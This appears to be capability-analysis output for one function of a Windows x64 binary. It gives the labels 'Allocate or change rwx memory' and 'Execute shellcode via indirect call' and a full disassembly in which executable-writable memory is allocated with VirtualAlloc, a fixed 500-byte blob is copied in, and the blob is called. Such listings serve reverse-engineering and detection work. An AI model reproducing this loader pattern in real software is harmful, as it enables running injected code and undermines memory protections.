Function at 0x14001e220
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
lea r14, [rsp + 0x78]
xor ebp, ebp
movabs r15, 0xff00ff00ff00ff00
lea rsi, [0x14001c2a0]
lea rdi, [0x140000000]
movabs r13, 0x746a528800
movabs r12, 0x7fffffffffffffff
nop word [rax + rax]
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x30], r14
mov rbx, qword [r14]
xor rbx, r15
mov qword [rsp + 0x20], rbx
mov qword [r14], rbp
mov ecx, ebp
mov rax, qword [0x140709af0]
test rax, rax
je 0x14001e2ca
mov rdx, rbp
cmp rax, rsi
je 0x14001e2b9
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x709af0]
test rax, rax
jne 0x14001e2a1
jmp 0x14001e2ca
mov r8, qword [rdi + rdx*8 + 0x709e10]
test r8, r8
jne 0x14001e3af
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001e2f1
mov r8, rbp
jmp 0x14001e38e
mov rcx, rsi
mov edx, 3
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001e300
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
mov ecx, dword [rcx + 0x70]
mov dword [rax + 0x70], ecx
mov rax, qword [0x140709ae8]
mov qword [rdi + rax*8 + 0x709af0], rsi
mov qword [rdi + rax*8 + 0x709e10], r8
inc rax
mov qword [0x140709ae8], rax
lea rcx, [0x14008b780]
call r8
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x20], rbx
mov qword [r14], rbp
mov ecx, ebp
mov rax, qword [0x140709af0]
test rax, rax
je 0x14001e40e
mov rdx, rbp
cmp rax, rsi
je 0x14001e3fd
inc ecx
mov edx, ecx
mov rax, qword [rdi + rcx*8 + 0x709af0]
test rax, rax
jne 0x14001e3e5
jmp 0x14001e40e
mov r8, qword [rdi + rdx*8 + 0x709e10]
test r8, r8
jne 0x14001e4ef
mov edx, 0x1f4
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rax
test rax, rax
jne 0x14001e435
mov r8, rbp
jmp 0x14001e4ce
mov rax, rsi
mov rcx, r8
mov edx, 3
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
sub rdx, 1
jne 0x14001e440
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov eax, dword [rax + 0x70]
mov dword [rcx + 0x70], eax
mov rax, qword [0x140709ae8]
mov qword [rdi + rax*8 + 0x709af0], rsi
mov qword [rdi + rax*8 + 0x709e10], r8
inc rax
mov qword [0x140709ae8], rax
lea rcx, [0x1400321b0]
call r8
nop
xor rbx, r15
mov qword [r14], rbx
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
mov rcx, qword [0x140709990]
mov rdx, qword [0x140709988]
sub rcx, rdx
sar rcx, 3
test rcx, rcx
je 0x14001e57f
mov qword [rdx], rax
lea rcx, [rsp + 0x90]
call fcn.140036410
mov rax, qword [rsp + 0x90]
movabs rcx, 0x7fffff8b95ad77fe
cmp rax, rcx
jg 0x14001e565
lea rcx, [rax + r13]
mov qword [rsp + 0x88], rcx
lea rcx, [rsp + 0x88]
call fcn.14001d8f0
jmp 0x14001e270
mov qword [rsp + 0x88], r12
lea rcx, [rsp + 0x88]
call fcn.14001d8f0
jmp 0x14001e270
call fcn.140031ed0
int3